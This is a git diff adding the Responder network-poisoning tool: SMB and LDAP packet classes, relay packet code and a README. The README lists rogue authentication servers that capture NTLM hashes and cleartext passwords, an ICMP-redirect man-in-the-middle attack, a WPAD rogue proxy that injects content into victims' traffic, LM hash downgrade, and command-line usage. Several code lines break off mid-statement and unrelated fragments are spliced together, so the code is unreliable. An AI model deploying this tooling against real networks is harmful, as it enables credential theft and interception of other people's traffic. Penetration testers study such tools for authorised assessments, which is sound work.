+ CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+ ###### AvPairs Offset
+ CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
+
+ ###### LDAP Packet Len
+ CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
+
+
+ OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
+
+ NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
+
+ ##### LDAP Len Calculation:
+ self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
+ self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
+ self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
+
+ ##### Workstation Offset Calculation:
+ self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("i", len(''.join(payload)))
+ return length
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x08"),
+ ("flag2", "\x01\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x3c\x1b"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNegoData(Packet):
+ fields = OrderedDict([
+ ("wordcount", "\x00"),
+ ("bcc", "\x54\x00"),
+ ("separator1","\x02" ),
+ ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
+ ("separator2","\x02"),
+ ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
+ ])
+ def calculate(self):
+ CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
+ self.fields["bcc"] = struct.pack("
+http://www.spiderlabs.com
+
+INTRODUCTION
+============
+
+This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
+*specific* NBT-NS (NetBIOS Name Service) queries based on their name
+suffix (see: http://support.microsoft.com/kb/163409). By default, the
+tool will only answers to File Server Service request, which is for SMB.
+The concept behind this, is to target our answers, and be stealthier on
+the network. This also helps to ensure that we don't break legitimate
+NBT-NS behavior. You can set the -r option via command line if
+you want this tool to answer to the Workstation Service request name
+suffix.
+
+FEATURES
+========
+
+- Built-in SMB Auth server.
+ Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
+ Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
+ Clear text password is supported for NT4, and LM hashing downgrade when the
+ --lm option is set. This functionality is enabled by default when the
+ tool is launched.
+
+- Built-in MSSQL Auth server.
+ In order to redirect SQL Authentication to this tool, you will need to
+ set the option -r (NBT-NS queries for SQL Server lookup are using
+ the Workstation Service name suffix) for systems older than windows
+ Vista (LLMNR will be used for Vista and higher). This server supports
+ NTLMv1, LMv2 hashes. This functionality was successfully tested on
+ Windows SQL Server 2005 & 2008.
+
+- Built-in HTTP Auth server.
+ In order to redirect HTTP Authentication to this tool, you will need
+ to set the option -r for Windows version older than Vista (NBT-NS
+ queries for HTTP server lookup are sent using the Workstation Service
+ name suffix). For Vista and higher, LLMNR will be used. This server
+ supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
+ was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
+ Note: This module also works for WebDav NTLM authentication issued from
+ Windows WebDav clients (WebClient). You can now send your custom files to a victim.
+
+- Built-in HTTPS Auth server.
+ In order to redirect HTTPS Authentication to this tool, you will need
+ Â to set the -r option for Windows versions older than Vista (NBT-NS
+ Â queries for HTTP server lookups are sent using the Workstation Service
+ Â name suffix). For Vista and higher, LLMNR will be used. This server
+ Â supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
+ Â was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari.
+ Â The folder Cert/ was added and contain 2 default keys, including a dummy
+ Â private key. This is *intentional*, the purpose is to have Responder
+ Â working out of the box. A script was added in case you need to generate
+ Â your own self signed key pair.
+
+- Built-in LDAP Auth server.
+ In order to redirect LDAP Authentication to this tool, you will need
+ to set the option -r for Windows version older than Vista (NBT-NS
+ queries for HTTP server lookup are sent using the Workstation Service
+ name suffix). For Vista and higher, LLMNR will be used. This server
+ supports NTLMSSP hashes and Simple Authentication (clear text authentication).
+ This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
+
+- Built-in FTP Auth server.
+ This module will collect FTP clear text credentials.
+
+- Built-in small DNS server. This server will answer type A queries. This
+ is really handy when it's combined with ARP spoofing.
+
+- All hashes are printed to stdout and dumped in an unique file John
+ Jumbo compliant, using this format:
+ (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt
+ The file will be located in the current folder.
+
+- Responder will logs all its activity to a file Responder-Session.log.
+
+- When the option -f is set to "On", Responder will fingerprint every host who issued
+ an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
+
+- Browser Listener finds the PDC in stealth mode.
+
+- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with
+ the DNS module is pretty effective.
+
+- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
+
+- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
+
+- Responder is now using a configuration file. See Responder.conf.
+
+- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
+
+- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.
+
+CONSIDERATIONS
+==============
+
+- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433,
+ TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
+ If you run Samba on your system, stop smbd and nmbd and all other
+ services listening on these ports.
+ For Ubuntu users:
+ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq".
+ Then kill dnsmasq with this command (as root): killall dnsmasq -9
+
+- Any rogue server can be turn off in Responder.conf.
+
+- You can set a network interface via command line switch -I. Default is all.
+
+- This tool is not meant to work on Windows.
+
+
+USAGE
+=====
+
+First of all, please take a look at Responder.conf and set it for your needs.
+Running this tool:
+
+- ./Responder.py [options]
+
+Usage Example:
+
+./Responder.py -i 10.20.30.40 -w -r -f
+
+or:
+
+python Responder.py -i 10.20.30.40 -wrf
+
+Options List:
+
+ -h, --help show this help message and exit
+
+ -A, --analyze Analyze mode. This option allows you to see NBT-NS,
+ BROWSER, LLMNR requests from which workstation to
+ which workstation without poisoning anything.
+
+ -i 10.20.30.40, --ip=10.20.30.40
+ The ip address to redirect the traffic to. (usually
+ yours)
+
+ -I eth0, --interface=eth0 Network interface to use
+
+ -b, --basic Set this if you want to return a Basic HTTP
+ authentication. If not set, an NTLM authentication
+ will be returned.
+
+ -r, --wredir Set this to enable answers for netbios wredir suffix
+ queries. Answering to wredir will likely break stuff
+ on the network (like classics 'nbns spoofer' would).
+ Default value is therefore set to False
+
+ -d, --NBTNSdomain Set this to enable answers for netbios domain suffix
+ queries. Answering to domain suffixes will likely
+ break stuff on the network (like a classic 'nbns
+ spoofer' would). Default value is therefore set to
+ False
+
+ -f, --fingerprint This option allows you to fingerprint a host that
+ issued an NBT-NS or LLMNR query.
+
+ -w, --wpad Set this to start the WPAD rogue proxy server. Default
+ value is False
+
+ -F, --ForceWpadAuth Set this if you want to force NTLM/Basic
+ authentication on wpad.dat file retrieval. This might
+ cause a login prompt in some specific cases.
+ Therefore, default value is False
+
+ --lm Set this if you want to force LM hashing downgrade for
+ Windows XP/2003 and earlier. Default value is False
+
+ -v More verbose
+
+
+For more information read these posts:
+http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
+http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
+http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
+http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
+
+Follow our latest updates on twitter:
+https://twitter.com/PythonResponder
+
+COPYRIGHT
+=========
+
+NBT-NS/LLMNR Responder
+Created by Laurent Gaffie
+Copyright (C) 2013 Trustwave Holdings, Inc.
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program. If not, see
diff --git a/libs/responder/RelayPackets.py b/libs/responder/RelayPackets.py
new file mode 100644
index 0000000..08071fa
--- /dev/null
+++ b/libs/responder/RelayPackets.py
@@ -0,0 +1,480 @@
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import struct
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+##################################################################################
+#SMB Client Stuff
+##################################################################################
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x4e"),
+ ("uid", "\x00\x08"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x00"),
+ ("Bcc", "\x62\x00"),
+ ("Data", "")
+ ])
+
+ def calculate(self):
+ self.fields["Bcc"] = struct.pack("i", len(''.join(payload)))
+ return length
+
+#Set MID SMB Header field.
+def midcalc(data):
+ pack=data[34:36]
+ return pack
+
+#Set UID SMB Header field.
+def uidcalc(data):
+ pack=data[32:34]
+ return pack
+
+#Set PID SMB Header field.
+def pidcalc(data):
+ pack=data[30:32]
+ return pack
+
+#Set TID SMB Header field.
+def tidcalc(data):
+ pack=data[28:30]
+ return pack
+
+#SMB Header answer packet.
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("errorcode", "\x00\x00\x00\x00" ),
+ ("flag1", "\x80"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\xff\xfe"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+#SMB Negotiate Answer packet.
+class SMBNegoAns(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x11"),
+ ("Dialect", ""),
+ ("Securitymode", "\x03"),
+ ("MaxMpx", "\x32\x00"),
+ ("MaxVc", "\x01\x00"),
+ ("Maxbuffsize", "\x04\x11\x00\x00"),
+ ("Maxrawbuff", "\x00\x00\x01\x00"),
+ ("Sessionkey", "\x00\x00\x00\x00"),
+ ("Capabilities", "\xfd\x43\x00\x00"),
+ ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
+ ("Keylength", "\x08"),
+ ("Bcc", "\x10\x00"),
+ ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
+ ("Domain", ""),
+
+ ])
+
+ def calculate(self):
+
+ ##Then calculate.
+ CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
+ self.fields["Bcc"] = struct.pack(" Payload goes here...